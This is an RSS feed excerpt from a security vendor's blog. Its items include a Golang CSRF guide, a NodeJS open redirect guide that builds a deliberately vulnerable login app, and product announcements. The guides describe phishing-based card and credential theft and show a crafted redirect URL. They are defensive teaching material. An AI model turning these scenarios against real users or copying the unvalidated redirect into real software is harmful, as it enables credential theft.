&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang CSRF Protection Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://golang.org/&quot;&gt;&lt;u&gt;Go&lt;/u&gt;&lt;/a&gt; is a language created inside Google&amp;#39;s ranks for memory safety and concurrency. It made sense for development instances running (or developed) across distributed nodes as microservices were taking form. The term Golang refers to Go with &amp;quot;lang&amp;quot; specifying that we&amp;#39;re referencing the programming language. The official website for the language made &amp;quot;Golang&amp;quot; a popular alias. All this, however, doesn&amp;#39;t sanitize Go from Golang CSRF (&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;cross-site request forgery&lt;/u&gt;&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;This post will take you through some Golang CSRF vulnerabilities and guide you toward solutions with real-life code examples. A holistic approach to this guide requires that we set clear definitions of the problem scenario. We&amp;#39;ll thus explore just how bad things can get when a CSRF attack makes it past your Go application&amp;#39;s front end to the server-side. Only then will any solution make perfect sense. Strap in and enjoy the ride!&lt;/p&gt;&lt;h2&gt;CSRF: A Recap&lt;/h2&gt;&lt;p&gt;Cross-site request forgery is an attack strategy that takes advantage of every web application&amp;#39;s operational design. For instance, the current state of an app&amp;#39;s front end can be processed to change the state of resources and variables on the server-side. A CSRF attack typically starts with exploiting&lt;a href=&quot;https://www.restapitutorial.com/introduction/httpmethods&quot;&gt; HTML verbs&lt;/a&gt; found throughout a typical page.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re working with a framework like gopher, for example, several routing default functions (methods) are provided out the box.&lt;/p&gt;&lt;p&gt;If your Golang application exposes these methods and forms to the user before sending a request, you&amp;#39;re vulnerable to CSRF attacks. By studying these methods, an attacker can study the destination of your requests and forge some code to perform the usual actions, but with a few changes. Such changes could be changing the destination of a bank transfer to their details or simply deleting your profile.&lt;/p&gt;&lt;p&gt;The attack described is easy to confuse with XSS. However, CSRF must include some form of forgery (passing altered variables) to the server for processing and eventual altering of states to fit the intention of the attacker. You can refer to&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/#:~:text=CSRF%20vs%20XSS,vulnerable%20to%20XSS.&quot;&gt; &lt;u&gt;this passage&lt;/u&gt;&lt;/a&gt; for a better distinction of the two.&lt;/p&gt;&lt;h2&gt;Golang Vulnerabilities Exposed by CSRF&lt;/h2&gt;&lt;p&gt;Now, you may be wondering just how such an attack strategy applies for Go projects when the most prevailing use case for the language is with enterprise applications. Well, there&amp;#39;s a horde of web frameworks built to use Go on the back end. This way, even as it is a compiled language, the strengths it brings into the stack (concurrency, etc.) can be appreciated all the same.&lt;/p&gt;&lt;h3&gt;Common Golang Web Frameworks&lt;/h3&gt;&lt;p&gt;There&amp;#39;s been an explosion of Golang web framework options lately. Typically, these frameworks are all lightweight and operating system agnostic thanks to Go being cross-platform by nature. Let&amp;#39;s review a few of these frameworks and toolkits for future reference.&lt;/p&gt;&lt;h4&gt;1. Gorilla Go Toolkit&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://www.gorillatoolkit.org/&quot;&gt;&lt;u&gt;Gorilla&lt;/u&gt;&lt;/a&gt; is an extendable list of components and methods that you can freely adapt for your Go web applications. Named to raise awareness of the primate&amp;#39;s plight, Gorilla&amp;#39;s installation is as easy as cloning the required package into your existing Go project.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ git clone git://github.com/gorilla/[package name here]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You may have noticed by this definition and method of use that it&amp;#39;s actually not a framework.&lt;/p&gt;&lt;h4&gt;2. Gin for Golang&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gin-gonic/gin&quot;&gt;&lt;u&gt;Gin&lt;/u&gt;&lt;/a&gt; is a web framework created for Go web projects that require lightning-fast performance. The APIs applied in Gin are in some way similar to the ones in Golang&amp;#39;s&lt;a href=&quot;https://github.com/go-martini/martini&quot;&gt; &lt;u&gt;Martini web framework&lt;/u&gt;&lt;/a&gt;, with a little extra juice for performance enhancement (wink).&lt;/p&gt;&lt;h4&gt;3. Go-admin&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://golangexample.com/a-golang-framework-helps-gopher-to-build-a-data-visualization-and-admin-panel/&quot;&gt;&lt;u&gt;Go-admin&lt;/u&gt;&lt;/a&gt; is a framework that helps create administration back ends to visualize datastreams. You can add the project to an existing web application as the processor of any dynamic source of data as with common dashboard tools.&lt;/p&gt;&lt;p&gt;Now that you have a good idea of what you can do with Go on the front end, let&amp;#39;s explore just how secure these implementations are.&lt;/p&gt;&lt;h3&gt;Golang CSRF Examples&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s use the&lt;a href=&quot;https://github.com/revel/examples/blob/master/booking2/app/views/Hotels/ConfirmBooking.html&quot;&gt; &lt;u&gt;HTML file from a hotel booking web app&lt;/u&gt;&lt;/a&gt; developed on the Revel Go framework to demonstrate the use of CSRF. Of particular interest is the booking confirmation form with code snippets shown below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then the sensitive part is visible as below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Conducting a short reconnaissance session on this application, we can see how the payment data is in a rather raw form. Never mind the pointer variables, as at some point the user gets to input all that data manually. Couple this discovery with the fact that a known method (&lt;b&gt;POST&lt;/b&gt;) sends the information across to a known destination (&lt;b&gt;%url&lt;/b&gt;) and this makes the process risky.&lt;/p&gt;&lt;p&gt;A possible attack trajectory would go down this way:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The attacker sends a fake email from a domain with a subdomain containing the hotel&amp;#39;s own, asking for confirmation or feedback or sorts. Anything to get the user past the login form.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Another email follows up with a discount offer on the guest&amp;#39;s next stay.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once the target opens the second email, a forgery of the entire form is generated with their usual payment details to maybe make a new booking for a different guest. Even worse, the form can be sent to a different destination where the &lt;b&gt;CardNumber&lt;/b&gt;, &lt;b&gt;NameOnCard&lt;/b&gt;, &lt;b&gt;CardExpMonth&lt;/b&gt;, &lt;b&gt;CardExpYear&lt;/b&gt;, and previously &lt;i&gt;smoked&lt;/i&gt; (encrypted) &lt;b&gt;CVV&lt;/b&gt; can be parsed for storage.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Using the same form from above, the final form data sent for processing would be processed to show the sensitive info in CSV format. Even though the form had tried to hide them with the &lt;b&gt;hidden&lt;/b&gt; type attribute.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;some card number value (int)&amp;quot;,  &amp;quot;corresponding name&amp;quot;, &amp;quot;card Exp month&amp;quot;, &amp;quot;card Exp year&amp;quot;, &amp;quot;cvv&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Need we say just how much risk befalls any guest who may have innocently shared their details? Instead, let&amp;#39;s turn our focus on Golang CSRF solutions.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Golang CSRF Patches&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Lucky for Go language enthusiasts, there exist several middleware options to patch Go framework apps and protect them from CSRF attacks. Each framework usually comes with a specific implementation of said middleware.&lt;/p&gt;&lt;p&gt;Take Gin, for example, which sanitizes the sessions created by users by obfuscating the authentication cookie with a &lt;b&gt;secret&lt;/b&gt; variable. This implementation is extended onto Go projects using the&lt;a href=&quot;https://github.com/utrack/gin-csrf&quot;&gt; &lt;u&gt;&lt;b&gt;gin-csrf &lt;/b&gt;&lt;/u&gt;&lt;u&gt;package&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ go get github.com/utrack/gin-csrf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;On the code level, this would be the patch:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The Gorilla toolkit also applies&lt;a href=&quot;https://github.com/gorilla/csrf&quot;&gt; &lt;u&gt;a middleware library&lt;/u&gt;&lt;/a&gt; to protect users from Golang CSRF attacks. The beauty of this particular implementation is its framework compatibility and coverage. This means you can apply fixes from the Gorilla library into Gin and other framework options.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Hackproofing Your Golang Apps&lt;/h2&gt;&lt;p&gt;Kudos for reading this far! It should now be clear what CSRF means. So, too, how Golang web applications can fall prey to this type of attack. Say you elect to use &amp;quot;vanilla&amp;quot; Go to create your apps—removing the framework stance from the equation. The methods we discussed in the patches section should give you an idea of how to secure your apps.&lt;/p&gt;&lt;p&gt;True, so much more goes into fully hackproofing your Go apps. Our take on CSRF must (at the very least) leave you aware of the potential risks. It should be easy for you to start Golang projects that take security into consideration from their onset.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;i&gt;Taurai&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automated Application Security Testing with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/automated-application-security-testing-with-stackhawk</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;Last week, I had the privilege of speaking at Cloud Native Days {with Kubernetes} about automated application and API security testing in CI/CD, and how StackHawk works. &lt;/p&gt;&lt;p&gt;Watch the talk to learn more about why scheduled scans no longer cut it, why security should be part of building software, and how StackHawk helps teams ensure that vulnerabilities are caught before they are shipped to production.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://player.vimeo.com/video/580882937?h=40b63a7613&amp;title=0&amp;byline=0&amp;portrait=0&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;One of the fundamental components of the Internet is the Uniform Resource Locator (URL). URLs let us seamlessly link together documents and websites from all across the Internet. It&amp;#39;s essentially the digital version of a postal address, letting us humans remember resource locations without having to remember complicated IP addresses. Now imagine if there was a vulnerability that exploited the convenience of linked resources. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn about the open redirect security vulnerability and how it can affect your Node.js application. We&amp;#39;ll also create a vulnerable example application and look at how this exploit works in the wild. And finally, we&amp;#39;ll discuss several approaches to fixing this issue. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start by learning a little bit more about open redirect vulnerabilities. &lt;/p&gt;&lt;h2&gt;What is an Open Redirect Vulnerability?&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Open redirect&lt;/b&gt; vulnerabilities can occur when a website accepts user-modifiable content as part of a parameter during a URL redirection. If the parameter is not validated correctly, an attacker can craft a malicious URL that looks trustworthy at a glance, but will likely compromise the user&amp;#39;s experience. The malicious URL might look similar to the URL of the trusted website. Alternatively, the URL might take the user to a malicious website that looks identical to the trusted website, tricking the user into entering their credentials. Open redirect vulnerabilities are also sometimes called &lt;b&gt;external redirect&lt;/b&gt; vulnerabilities. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example. Assume that the MyBank website is vulnerable to the open redirect attack vector. After a successful login, MyBank uses the &lt;b&gt;redirect_url&lt;/b&gt; parameter to redirect a user to the page they wanted to access. &lt;/p&gt;&lt;p&gt;&lt;i&gt;An example of a redirect URL that could be used as a phishing attack.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;In this scenario, the MyBank website assumes that the &lt;b&gt;redirect_url&lt;/b&gt; parameter will point to a page within the webpage. However, because the parameter is user-modifiable, an attacker could change the value to point to a website that they control. This website could look identical to the MyBank website and the user wouldn&amp;#39;t know something was amiss unless they paid particular attention to the URL. &lt;/p&gt;&lt;p&gt;Furthermore, the attacker could have the user fill in a fake login form and steal the user&amp;#39;s credentials. Since the user arrived at this destination through a trusted user path, it&amp;#39;s unlikely that any of this would raise any red flags for the user. &lt;/p&gt;&lt;p&gt;The best way to learn about the damage this sort of vulnerability can cause is by looking at an example. Let&amp;#39;s create one for ourselves! &lt;/p&gt;&lt;h2&gt;Creating a Vulnerable Example&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;re going to create an example website for MyBank that is vulnerable to the open redirect flaw. The code in this post assumes that you have &lt;a href=&quot;https://nodejs.org/en/&quot;&gt;&lt;u&gt;Node.js&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;&lt;u&gt;npm&lt;/u&gt;&lt;/a&gt; available. Any version of Node.js should suffice as long as it&amp;#39;s not too old. &lt;/p&gt;&lt;h3&gt;Creating the Package File&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s start by setting up the directories for our MyBank website. &lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir nodejs-open-redirect
cd nodejs-open-redirect&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, create a &lt;b&gt;package.json&lt;/b&gt; file inside the &lt;b&gt;nodejs-open-redirect&lt;/b&gt; folder and copy the JSON below: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you&amp;#39;ve created the &lt;b&gt;package.json&lt;/b&gt; file, type &lt;b&gt;npm install&lt;/b&gt; to install the dependencies. For our project, we&amp;#39;ve installed &lt;a href=&quot;https://expressjs.com/&quot;&gt;&lt;u&gt;express&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.npmjs.com/package/express-session&quot;&gt;&lt;u&gt;express-session&lt;/u&gt;&lt;/a&gt; for web-server functionality and &lt;a href=&quot;https://pugjs.org/api/getting-started.html&quot;&gt;&lt;u&gt;pug&lt;/u&gt;&lt;/a&gt; for template handling.&lt;/p&gt;&lt;h3&gt;Creating the Node.js File&lt;/h3&gt;&lt;p&gt;Next, create a file named &lt;b&gt;index.js&lt;/b&gt; and put the code below into it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code here is pretty simple. We create an express server and bind some routes to it. For the &lt;b&gt;/balance&lt;/b&gt; and &lt;b&gt;/account &lt;/b&gt;methods, we check the session &lt;b&gt;isLoggedIn&lt;/b&gt; flag and see if the user is logged in. If they aren&amp;#39;t, they&amp;#39;re redirected to the login page. &lt;/p&gt;&lt;p&gt;Once the user submits the login form, we simply check if the username and password match and then set the &lt;b&gt;isLoggedIn&lt;/b&gt; flag. Once that&amp;#39;s done, we redirect the user based on the &lt;b&gt;redirect_url&lt;/b&gt; parameter. Next, we&amp;#39;re going to create the template files.&lt;/p&gt;&lt;h3&gt;Creating Our Templates&lt;/h3&gt;&lt;p&gt;First, create the &lt;b&gt;/nodejs-open-redirect/views/index.pug&lt;/b&gt; template to show on our landing page by copying the code below. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, create a template named &lt;b&gt;/nodejs-open-redirect/views/login.pug&lt;/b&gt; for our login page and add the code below to it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, go to the &lt;b&gt;nodejs-open-redirect&lt;/b&gt; folder in the terminal and type the following command: &lt;b&gt;node index.js&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;If everything went well, then you should be able to access the running website on &lt;a href=&quot;http://localhost:3000/&quot;&gt;&lt;u&gt;&lt;b&gt;http://localhost:3000/&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Landing page for our example website.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s use our simulated website to learn more about the open direct vulnerability. &lt;/p&gt;&lt;h2&gt;Understanding the Vulnerability&lt;/h2&gt;&lt;p&gt;To experience the vulnerability firsthand, carry out the following steps: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Navigate to http://localhost:3000/&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Click the &lt;b&gt;Contact Us&lt;/b&gt; link. You should see the address of the bank. This link works as expected because it&amp;#39;s meant to be public information and we don&amp;#39;t check whether you&amp;#39;re logged in.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Go back to your browser and click on the &lt;b&gt;View Account Balance&lt;/b&gt; link and you&amp;#39;ll see a login page. This also works as expected because it&amp;#39;s behind an auth check.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enter the username &lt;b&gt;bob&lt;/b&gt; and password &lt;b&gt;1234&lt;/b&gt; to log in. You should be automatically redirected to the account balance page.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;At a glance, everything seems perfectly fine. But there&amp;#39;s definitely something amiss here. Try loading the landing page again and logging out. Once you&amp;#39;ve logged out, click the &lt;b&gt;View Account Balance&lt;/b&gt; link again. &lt;/p&gt;&lt;p&gt;&lt;i&gt;URL redirection used in the login page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Pay attention to the URL of the login page. The website uses the &lt;b&gt;redirect_url&lt;/b&gt; parameter to figure out where the user needs to be redirected once they log in. This is a problem because this parameter can be modified by the user. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;It&amp;#39;s &lt;b&gt;dangerous&lt;/b&gt; because users can be redirected away from a trusted website and onto an untrusted website &lt;b&gt;without ever realizing&lt;/b&gt; what&amp;#39;s going on.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;To demonstrate the vulnerability, try changing the URL to &lt;b&gt;http://localhost:3000/login?redirect_url=https://www.stackhawk.com/&lt;/b&gt; and loading the page. Once the page loads, try logging in and you&amp;#39;ll notice you&amp;#39;re on the StackHawk home page! &lt;/p&gt;&lt;p&gt;So how can the attacker make use of this vulnerability? &lt;/p&gt;&lt;h3&gt;Anatomy of an Attack&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s a scenario. Assume the attacker knows that Bob has an account at mybank.com. The attacker buys the URL nybank.com because it&amp;#39;s visually similar to the mybank.com URL. The attacker then creates a website login page identical to the one that My Bank maintains. This fake login page can contain an error message asking the user to log in again. The login page would be programmed to capture whatever the user enters into the form and then redirect the user back to the original mybank.com website. &lt;/p&gt;&lt;p&gt;The attacker can then craft a URL that takes advantage of My Bank&amp;#39;s open redirect vulnerability to redirect users to their own malicious website. &lt;/p&gt;&lt;p&gt;They can then send Bob an email pretending to be from the bank, using an &lt;a href=&quot;https://www.linkedin.com/pulse/20-phishing-emails-beyond-dmarcs-reach-aaron-neff/&quot;&gt;&lt;u&gt;email spoofing&lt;/u&gt;&lt;/a&gt; attack or &lt;a href=&quot;https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt; attack, and include this special URL in the email. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s assume that Bob is tech-savvy. So Bob checks the hostname of the URL before clicking it and it&amp;#39;s valid. And let&amp;#39;s say that he&amp;#39;s in the even tinier minority of people who check the SSL certificate of the website they visit. Again, everything looks fine there. &lt;/p&gt;&lt;p&gt;Bob logs in, and then My Bank&amp;#39;s website redirects him to nybank.com because that&amp;#39;s the value in the &lt;b&gt;redirect_url&lt;/b&gt; parameter. On the nybank.com login page, everything looks identical to the trusted My Bank login page. Bob sees the error message asking him to reenter his credentials—this seems like a reasonable request because maybe he made a typo earlier. Once he reenters them, nybank.com captures his credentials and he&amp;#39;s redirected to the My Bank website. Since he&amp;#39;s already logged in on My Bank, the bank will simply show him his personalized page. &lt;/p&gt;&lt;p&gt;At this point, Bob&amp;#39;s credentials have been stolen and he&amp;#39;s none the wiser about it. &lt;/p&gt;&lt;h2&gt;Potential Fixes for Open Redirect Vulnerabilities&lt;/h2&gt;&lt;p&gt;As you can see, this type of vulnerability can have very damaging consequences for users of your website. So let&amp;#39;s look at ways we can mitigate these attacks. &lt;/p&gt;&lt;h3&gt;Fixed Redirect Approach&lt;/h3&gt;&lt;p&gt;Removing the &lt;b&gt;redirect_url&lt;/b&gt; parameter from consideration is possibly the most secure way to deal with this issue. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The downside of this fix is that it&amp;#39;s not a great user experience because the user will need to renavigate to the page they were originally trying to access before they hit the auth step. The next approach is a little friendlier. &lt;/p&gt;&lt;h3&gt;AllowList Based Redirect Approach&lt;/h3&gt;&lt;p&gt;If we don&amp;#39;t want to reset the user&amp;#39;s navigation flow, then we can try allowing the &lt;b&gt;redirect_url&lt;/b&gt; parameter by adding it to an allowlist of possible values.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;allowlist&lt;/b&gt; &lt;b&gt;variable&lt;/b&gt; is just an array of acceptable paths. If we have a matching path, we send the user there, and if not, we go to the default home page. &lt;/p&gt;&lt;p&gt;This option is viable if you have a known quantity of redirect paths. But what if you have hundreds or thousands of redirect paths? &lt;/p&gt;&lt;h3&gt;Domain-Based Redirect Approach&lt;/h3&gt;&lt;p&gt;If you have a lot of possible redirect paths, then you can redirect based on the domain. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This approach works by appending the &lt;b&gt;redirect_url&lt;/b&gt; parameter to your website&amp;#39;s domain. This will force the redirects to always be within your own website. If the URL has been tampered with, then the user will simply be redirected to an error page within your website. &lt;/p&gt;&lt;p&gt;An extension to this approach is to display a warning if the user navigates away from your own website. Here&amp;#39;s how Google handles the external navigation warning:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Google handing user&amp;#39;s redirecting away from their website.&lt;/i&gt;&lt;/p&gt;&lt;h2&gt;Next Steps and Digging Deeper&lt;/h2&gt;&lt;p&gt;In this post, we learned about the open redirect vulnerability and how dangerous it can be. We also discussed a few approaches you can use to fix this vulnerability. &lt;/p&gt;&lt;p&gt;If you want to learn more about this subject, a good place to start would be to see how this vulnerability affects other platforms, like &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-open-redirect-security-guide/&quot;&gt;&lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/rails-open-redirect-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;Ruby on Rails&lt;/u&gt;&lt;/a&gt;. The best way to protect yourself is to stay educated.   &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dynamic API and Application Security Testing Now Integrated with GitHub Code Scanning]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-github-code-scanning</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;We are thrilled to announce that the new StackHawk code scanning integration with GitHub is live! 🎉&lt;/p&gt;&lt;p&gt;If you are a developer that has been integrating security testing into your GitHub pipeline, you are probably familiar with GitHub code scanning and the related integrations. 
&lt;/p&gt;&lt;p&gt;If you aren’t then here is the &lt;b&gt;tl;dr:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;GitHub has been beefing up the security testing capabilities that can be deployed natively in its pipelines. GitHub first did this with the source code analysis (SCA) tool &lt;a href=&quot;https://github.blog/2019-01-31-keep-your-dependencies-secure-and-up-to-date-with-github-and-dependabot/&quot;&gt;&lt;u&gt;Dependabot&lt;/u&gt;&lt;/a&gt;, and more recently rolled out &lt;a href=&quot;https://github.blog/2020-09-30-code-scanning-is-now-available/&quot;&gt;&lt;u&gt;code scanning&lt;/u&gt;&lt;/a&gt; with the static analysis tool CodeQL. &lt;/p&gt;&lt;p&gt;The latest addition to GitHub’s security testing capabilities has been third-party code scanning integrations. With these third-party integrations, developers can add a much wider range of security tools to their existing CI pipelines for more comprehensive security testing. &lt;/p&gt;&lt;h2&gt;StackHawk Integrates Dynamic API and Application Security Testing in GitHub Code Scanning&lt;/h2&gt;&lt;p&gt;Integrating security testing into the developer experience is at the heart of what we are doing at StackHawk – which is why we are beyond excited to roll out our GitHub code scanning integration.&lt;/p&gt;&lt;p&gt;By using the StackHawk code scanning integration in GitHub, developers can run application and API security testing whenever they check-in code. And, they are notified about new findings immediately in the GitHub security tab. &lt;/p&gt;&lt;p&gt;StackHawk is the first and only&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; dynamic application and API security testing (DAST&lt;/a&gt;) tool to integrate with GitHub code scanning. As a DAST scanner, StackHawk tests a running version of your application to identify potential security vulnerabilities - like those found in the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; and the &lt;a href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;OWASP API Top 10&lt;/a&gt;. DAST invokes an app or API the same way an attacker would, helping teams find vulnerabilities before they are in the wild. &lt;/p&gt;&lt;p&gt;But unlike traditional DAST tools that scan an app after it is in prod, the new StackHawk code scanning integration means critical security information and alerts live right in the repo.&lt;/p&gt;&lt;p&gt;For developers this means shortening the feedback cycle and making secure code delivery fast. Devs can test on every push, get notified immediately when a vulnerability is introduced, remediate on the spot, and get back to feature development. &lt;/p&gt;&lt;h2&gt;Get Going with StackHawk’s Code Scanning Integration&lt;/h2&gt;&lt;p&gt;This getting started guide assumes that you have already configured your app in the StackHawk UI and have access to your StackHawk API key. &lt;/p&gt;&lt;p&gt;If you still need to stand up your app in StackHawk, check out our &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;&lt;u&gt;getting started docs&lt;/u&gt;&lt;/a&gt; and then meet us back here. &lt;/p&gt;&lt;h2&gt;📺 Watch &amp;amp; Learn &lt;/h2&gt;&lt;p&gt;Watch our video detailing the ins and outs of our code scanning integration &lt;a href=&quot;https://youtu.be/_tBugEDPwpo&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Code Scanning Configuration&lt;/h3&gt;&lt;p&gt;To get going with the StackHawk code scanning integration from GitHub, navigate to the security tab of your GitHub repo. Once there select code scanning alerts. &lt;/p&gt;&lt;p&gt;Next, navigate through the list of integration partners and select StackHawk to begin setting up your code scanning workflow. &lt;/p&gt;&lt;p&gt;From there, you will automatically be prompted to set-up a new GitHub Actions workflow configuration file that will be added to your existing repo. &lt;/p&gt;&lt;p&gt;In the new workflow, you will need to update two steps: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The command to start your service or app.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you would like the build to continue on errors. You can either set this to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;StackHawk YAML Configuration&lt;/h3&gt;&lt;p&gt;Once you have finished setting up your code scanning workflow, you will need to add the StackHawk YAML to the base of your repo. This file will consist of three mandatory elements, all of which can be found in the StackHawk platform. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Your application ID&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Your app’s environment&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The host your app is running on &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Outside of the required fields, StackHawk allows for significant customization for your application. For more information, check out &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/&quot;&gt;&lt;u&gt;our docs&lt;/u&gt;&lt;/a&gt; or reach out to our &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;&lt;u&gt;support team&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;
